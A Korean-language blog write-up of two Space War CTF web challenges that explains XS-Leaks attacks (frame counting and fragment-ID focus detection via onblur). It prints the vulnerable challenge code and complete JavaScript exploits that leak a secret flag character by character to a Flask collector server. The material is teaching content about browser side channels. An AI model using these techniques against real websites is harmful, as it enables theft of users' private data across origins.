XS-Leaks101#1
XS Leaks 기법에 대한 설명과 Space War에 출제된 문제를 풀어보는 write-up입니다.
목차
- XS-Leaks이란
- SOP
- Tips
- Frame Counting
- LoX-goblin
- ID Attribute
- LoX-Zombie
- 추가 코멘트
- Reference
XS-Leaks이란
안녕하세요. Knights of the SPACE 멤버 임예준(Burnnnnny)입니다. 제 소개를 간략히 하자면 웹해킹을 공부하고 있는 평범한 대학생입니다. 요즘 XS-Leaks을 공부하고 있어서 여러분들께 공유하고자 글을 써봅니다.
먼저 XS-Leaks은 Cross-Site Leaks의 약자입니다. XS-Leaks을 간략하게 정의 하자면 SOP를 우회하여 공격 대상의 클라이언트 정보를 얻는 클라이언트의 Blind SQL injection입니다. Blind SQL injection은 보통 Python으로 코드를 짜는 반면, XS-Leaks은 HTML,JavaScript,CSS를 이용해 클라이언트의 정보 조각을 얻는 기법입니다.
이번 글에서는 Space War에 출제된 기법 2가지를 문제 write-up과 함께 설명해보겠습니다. 해당 문제는 chall.hspace.io에서 다시 풀어보실 수 있으니 아래 글을 참고해서 풀어보셔도 되고 참고 없이 직접 풀어보셔도 좋습니다.
시리즈 별로 기법 설명과 함께 제가 만든 Space War 문제의 write-up를 쓰거나 해외 CTF 업솔빙 및 기법에 해당하는 CTF문제를 정리할겁니다. 그래서 최종적으로 XS-Leaks 익스플로잇 템플릿을 만들어 보고 XS-Leaks을 공부하시는 분들에게 교보재가 되었으면 합니다.
그리고 이 SNS(X) 게시물을 한번 보시는 것을 추천하겠습니다. XS-Leaks 문제를 대하는 아주 좋은 마음가짐인거 같습니다. 인텐 혹은 언인텐이든 어떻게든 Leak을 성공하는 것이 중요하다고 저 또한 생각합니다.
SOP(Same Origin Policy)
SOP는 Same Origin Policy의 약자로 동일 출처 정책입니다. SOP는 브라우저가 한 출처(origin)에서 로드된 문서나 스크립트가 다른 출처에서 온 리소스와 상호작용하는 것을 제한하는 정책입니다. 여기서 출처(origin)란 프로토콜(Protocol,Scheme), 호스트(Host), 포트(Port) 이 3가지 구성요소로 정의됩니다. 이 3가지 구성요소가 모두 일치해야 동일한 출처(origin)입니다. 참고로 외부출처에서 불러온 데이터를 읽으려고 할 때는 오류가 발생하지만 데이터를 쓰는 것은 가능합니다.
이러한 SOP의 영향을 받지 않고 외부 출처에 대한 접근을 허용해주는 경우가 존재합니다. 예를 들면 <script>,<img>,<style>
등의 태그는 SOP의 영향을 받지 않습니다.
클라이언트 사이드 취약점의 대부분은 SOP를 우회해서 정보를 탈취하거나 조작하는 취약점이 대부분인 만큼 SOP는 웹 보안에서 정말 중요합니다. 여기서 XS-Leaks는 SOP를 위반하지 않으면서 리소스 로드시간, 응답 코드, 네트워크 타이밍 등을 이용해 비밀 정보를 유출하는 기법입니다.
한번쯤 들어본 CSS injection도 XS-Leaks 기법 중 하나입니다. SQL injection이 기법이 다양하듯이 XS-Leaks 또한 정말 다양한 기법이 존재합니다.
Tips
XS-Leaks을 공부하면서 많은 삽질들을 하는 중입니다. 여러분들께 삽질 하면서 얻은 도움아닌 도움이 되는 작은 팁들을 알려드리겠습니다. 먼저 XS-Leaks문제를 풀려면 개인적인 웹페이지 혹은 웹서버가 필수입니다. 그래서 보통 github.io나 개인 서버를 문제를 푸는데 이용합니다. github.io의 무료 호스팅도 좋지만 제 추천은 flask서버를 열고 포트포워딩을 진행하는것을 추천합니다. 그 이유는 오라클(정보조각)을 저장하는게 편하고 cli에서 실시간으로 flag가 추출되는것 즉 진행상태를 볼 수 있다는 점이 좋습니다. 작은 서버를 주는 goormIDE도 유용한 툴입니다.
클라이언트 사이드 문제 대부분 bot이 이용되듯이 XS-Leaks문제 또한 bot이 거의 대부분 동반됩니다. Node.js에서는 puppeteer를 사용하고 보통 Python은 selenium이란 브라우저를 이용하기 위한 패키지가 있습니다. Playwright란 패키지 또한 존재하고 몇몇 CTF에서 등장하는 편입니다.
물론 이런 패키지들을 안쓰고 bot을 직접 구현한 문제들도 존재합니다. 제가 하고 싶은 말은 XS-Leaks을 공부하는데 해당 패키지들의 코드들이 어떻게 작동하는지 알아야 합니다. 봇이 url만 방문하는지, 다른 행동은 안하는지, 얼마나 방문하는지 등을 확인해야 합니다.
JavaScript를 잘 알면 좋습니다. 저도 정말 JavaScript를 정말 모르는 편입니다. 그치만 익스플로잇의 대부분은 JavaScript를 이용하기 때문에 무조건 쓰고 읽을 줄 알아야합니다.
DOM, fetch, async, await, promise
등등을 알아야 익스플로잇 코드 이해하고 제작하는데 도움이 될겁니다.
Frame Counting
처음은 Frame Counting으로 시작을 해보겠습니다. Frame Counting의 핵심은 교차사이트에서 frame의 개수를 구할 수 있다는 점으로 정보를 leak 할 수 있다는 점입니다. window.open, iframe
으로 교차 사이트의 일부 속성에 접근할 수 있습니다. SOP때문에 제한적인 정보를 제공하지만 접근 가능한 속성인 frame의 개수를 구할 수 있기 때문에 공격자는 정보를 얻을 수 있습니다.
window.open
은 window.length
혹은 win.frames.length
으로 교차 사이트의 frame의 개수를 구할 수 있고 iframe
은 iframe.contentWindow.frames.length
로 교차 사이트의 frame의 개수를 구할 수 있습니다.
예시
1
2
3
4
5
const win = window.open('https://example.com/');
console.log(win.frames.length)
console.log(win.length)
//0
//0
iframe
예시는 아래 문제(LoX-goblin) 익스플로잇 코드를 참고하시면 됩니다.
LoX-goblin
5월 WEB Space War에 출제된 LoX-goblin 문제분석과 익스플로잇을 해봅시다. LoX-goblin의 문제 난이도는 easy입니다. LoX-goblin,LoX-Zombie 이 2문제에서 언인텐 가능성이 존재합니다. DNS rebinding이란 기법으로 해당 기법도 SOP와 관련된 공격 기법이니 궁금하신 분들은 직접 검색을 해보시는것을 추천하겠습니다.
그럼 문제 코드의 필요한 부분만 살펴보겠습니다. 코드 전체를 보고 싶으시다면 chall.hspace.io에서 다운 받으실 수 있습니다.
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const FLAG = 'hspace{flag}';
const port = 80;
app.use((req, res, next) => {
res.set('Cache-Control', 'no-store');
next();
})
const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1')
? next()
: res.status(403).send('Only LOCAL is allowed');
app.get('/', (req, res) => {
res.send('hello!!');
});
// isLocal()
app.get('/flag',isLocal(),(req, res) => {
if (!('flag' in req.query))
return res.status(200).send('give me flag');
let flag = req.query.flag;
if (typeof flag !== 'string')
return res.status(200).send('give me string type');
for (let i = 0; i < flag.length; i++) {
if (flag.charCodeAt(i) < 32 || flag.charCodeAt(i) > 127) {
return res.status(200).send('plz ascii');
}
}
if (FLAG.startsWith(flag)) {
res.status(200).send('good try');
} else {
res.status(200).send(`<iframe id="goblin"></iframe>`);
}
});
코드 자체는 비교적 간단합니다. 일단 /flag 경로는 로컬로만 접속이 가능합니다. 즉 봇만 방문할 수 있습니다. 또 CSP와 같은 보안관련된 헤더는 없습니다. /flag 경로에서는 flag
란 쿼리를 받고 그 쿼리의 타입 검증, 아스키범위에 있는지 검증 후에 쿼리의 값이 실제 FLAG
로 시작하면 good try를 반환하고 그렇지 않다면 iframe
을 반환합니다.
즉 만약 flag쿼리 값이 FLAG
로 시작한다면 교차사이트에서의 frame 개수는 0이 됩니다.
exploit 익스플로잇의 흐름은 다음과 같습니다.
iframe
에 접근합니다.iframe
주소에 시도하고 있는 문자를 추가합니다.iframe.contentWindow.frames.length
로 frame의 개수를 확인합니다.- frame 개수가 0이면 flag문자를 추가합니다.
- frame 개수가 0이 아니면 다음 문자를 시도합니다.
전체 익스플로잇 코드입니다. index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<iframe id="iframe"></iframe>
<script>
const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_";
const FLAG_START = '';
const request = async (url) => {
return new Promise((resolve, reject) => {
const iframe = document.getElementById("iframe");
iframe.src = url;
iframe.onload = () => iframe.contentWindow.frames.length === 0 ? resolve() : reject();
});
}
const leak = async (query) => {
try {
await request(`http://localhost/flag?flag=${query}`);
return true;
} catch (e) {
return false;
}
}
const exploit = async () => {
let flag = FLAG_START;
while (!flag.includes("}")) {
for (let char of ALPHABET) {
if (await leak(flag + char)) {
flag += char;
await fetch('/addFLAG?flag=' + char);
break;
}
}
}
}
exploit();
</script>
</body>
</html>
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request, render_template
flag = "hspace{"
app = Flask(__name__)
@app.route('/solv')
def solv():
return render_template('index.html',flag=flag)
@app.route('/addFLAG')
def addFLAG():
global flag
if 'flag' in request.args:
flag += request.args['flag']
print(flag)
return 'added'
return 'no flag'
@app.route('/getFlag')
def getFlag():
return flag
if __name__ == '__main__':
app.run('0.0.0.0', port=30000)
참고 LoX-goblin와 기법이 동일한 문제로 드림핵에 XS-search란 워게임 문제가 있습니다.
ID Attribute
ID Attribute는 프래그먼트 식별자 즉 #id로 ID에 해당하는 HTML요소의 포커싱여부를 파악하여 정보를 탈취하는 기법입니다.
여기서 ID는 HTML의 고유 식별자를 의미합니다. 예를 들어, <p id="hello">world</p>
라는 HTML 태그가 있으면 해당 태그의 ID는 hello입니다. ID는 HTML을 배우고 CSS로 HTML 페이지를 꾸민 경험이 있으시면 기본적으로 알게 되는 개념입니다. 사실 ID의 목적은 스크립트 및 스타일 적용 시 특정 요소를 식별하기 위함뿐만 아니라, 프래그먼트 식별자를 사용해 요소를 가리킬 때도 이용됩니다.
http://localhost/#hello 라면 hello가 ID인 요소로 브라우저는 스크롤합니다. 그리고 포커싱 가능한 요소는 포커싱이 됩니다. 또 #id를 iframe
에 로드해서 교차 출처 에서 감지 할 수 있습니다.
포커싱 여부를 감지 하기 위해서 알아야하는 이벤트 핸들러 속성이 있습니다. 바로 onblur
입니다. onblur
를 모르는 분들을 위해 설명을 하자면 onfocus
의 반대입니다. onfocus
는 포커싱 되었을 때 이벤트를 발생시키고 onblur
는 포커싱이 해제되었을 때 이벤트를 발생시킵니다.
onblur 예시
1
2
3
window.onblur = function() {
console.log("창이 포커스를 잃었습니다.");
};
onfocus 예시
1
2
3
window.onfocus = function() {
console.log("창이 다시 포커스를 얻었습니다.");
};
브라우저 바깥을 클릭하고 브라우저 내에 아무대나 클릭하면 콘솔에 출력되는 것을 확인할 수 있습니다.
이제 ID Attribute기법을 문제와 함께 실제로 어떻게 공격하는지 알아봅시다.
LoX-Zombie
5월 WEB Space War에 출제된 LoX-Zombie 문제분석과 익스플로잇을 진행해보겠습니다. LoX-Zombie의 문제 난이도는 hard입니다.
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1')
? next()
: res.status(403).send('Only LOCAL is allowed');
app.get('/', (req, res) => {
res.send('hello!!');
});
//isLocal()
app.get('/flag',isLocal(),(req, res) => {
if (!('flag' in req.query))
return res.status(200).send('give me flag');
let flag = req.query.flag;
if (typeof flag !== 'string')
return res.status(200).send('give me string type');
for (let i = 0; i < flag.length; i++) {
if (flag.charCodeAt(i) < 32 || flag.charCodeAt(i) > 127) {
return res.status(200).send('plz ascii');
}
}
if (FLAG.startsWith(flag)) {
HTML = `<button type='submit' id='Zombie'>good try!!</button>`;
res.send(HTML);
HTML = '';
} else {
res.status(200).send('Flag not matched.');
}
});
보시면 아시겠지만 앞에서 설명한 goblin 문제와 코드가 거의 유사합니다. 차이점은 FLAG
로 시작하면 button
태그를 반환한다는 점입니다. 그러니 <button type='submit' id='Zombie'>good try!!</button>
이 나오는 것을 감지한다면 FLAG
를 유출 시킬 수 있습니다. 문제에 반환되는 button
에 Zombie란 ID가 설정되어 있는 것을 확인할 수 있습니다. 그리고 button
은 포커싱이 가능한 태그입니다. 또 포커싱은 onblur
를 이용해서 감지할 수 있습니다. 이 문제도 보안헤더나 iframe
을 방지하는 헤더가 존재하지 않기 때문에 iframe
을 이용해 익스플로잇을 할 수 있습니다.
요약하자면 /flag?flag=[try문자]#Zombie를 iframe
에 로드 후 교차 출처 에서 button
이 포커싱된 것을 onblur
를 이용해서 감지할 수 있습니다.
exploit 익스플로잇 흐름은 다음과 같습니다.
iframe
을 생성합니다.- 브라우저(
window
)가 포커스를 잃으면 문자열을 추가 후 초기화 및iframe
을 삭제합니다.leak
함수는onblur
이벤트 발생 여부에 따라 1 또는 0을 반환합니다.- 반환 값이 1이면 해당 문자가
FLAG
의 시작임을 확인합니다. - 반환 값이 0이면 다음 문자를 시도합니다.
- 다음 문자 추측을 계속해서 반복합니다.
전체 익스플로잇 코드입니다.
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Zombie_Solver</title>
</head>
<body>
<script>
(async () => {
const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_";
const leak = async (url) => {
return new Promise(r => {
let iframe = document.createElement('iframe')
window.onblur = async () => {
console.debug('onblur fired')
window.onblur = ''
await sleep(100)
iframe.remove()
return r(1)
}
setTimeout(() => {
window.onblur = ''
iframe.remove()
return r(0)
}, 400)
iframe.src = `${url}#Zombie`
document.body.appendChild(iframe)
})
}
const sleep = (ms) => {
return new Promise(resolve => setTimeout(resolve, ms));
}
let curr = ''
for (let i = 0; i < 30; i++) {
let found = false;
for (let j = 0; j < ALPHABET.length; j++) {
let temp = curr + ALPHABET[j];
console.log(`Trying: ${temp}`);
fetch("/try..." + decodeURIComponent(temp));
if (await leak(`http://localhost/flag?flag=${temp}`)) {
fetch("/addFLAG?flag=" + decodeURIComponent(ALPHABET[j]));
curr += ALPHABET[j];
found = true;
break;
}
}
if (!found) break;
}
})()
</script>
</body>
</html>
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request, render_template
flag = "hspace{"
app = Flask(__name__)
@app.route('/solv')
def solv():
return render_template('index.html',flag=flag)
@app.route('/addFLAG')
def addFLAG():
global flag
if 'flag' in request.args:
flag += request.args['flag']
print(flag)
return 'added'
return 'no flag'
@app.route('/getFlag')
def getFlag():
return flag
if __name__ == '__main__':
app.run('0.0.0.0', port=30000)
추가 코멘트
다음 기술 블로그도 XS-Leaks 기법 관련된 글을 작성할 예정입니다. hspace blog는 처음이고 마크다운에 익숙하지 않아서 아직 부족한 부분이 많습니다. 그래도 긴 글 끝까지 읽어주셔서 정말 감사합니다. 앞으로 Space War도 많이 많이 참여해 주시고 hspace blog도 많은 관심 부탁드립니다!